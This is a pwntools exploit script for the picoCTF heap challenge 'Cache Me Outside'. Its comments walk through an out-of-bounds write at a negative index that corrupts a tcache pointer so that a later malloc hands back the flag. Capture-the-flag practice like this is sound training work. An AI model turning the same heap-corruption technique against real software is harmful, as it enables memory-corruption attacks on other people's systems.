Cache Me Outside

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./heapedit_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x400a32
"""

def conn():
    if args.REMOTE:
        r = remote("mercury.picoctf.net", 8054)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


# break at 0x400a32 and the address of the array stored in rax (0x6034a0)
# tcachebins to find the first address of tcache
# search the address to find out where this address is stored
#   search -t qword 0x603890 heap
# get the address 0x602088
# calculate the index 0x602088 - 0x6034a0 = -5144
# overwrite the last byte with 0x08
# when malloc is called again, it will return the address 0x603808 + 0x10 = 0x603818
# which is pointing at the flag

def main():
    r = conn()
    r.recvuntil(b'Address: ')
    r.sendline(b'-5144')

    r.recvuntil(b'Value: ')
    r.sendline(b'\x08')

    time.sleep(0.1)
    flag = r.recvuntil(b'\n', drop=True)

    print()
    print(flag.decode())
    print()




if __name__ == "__main__":
    main()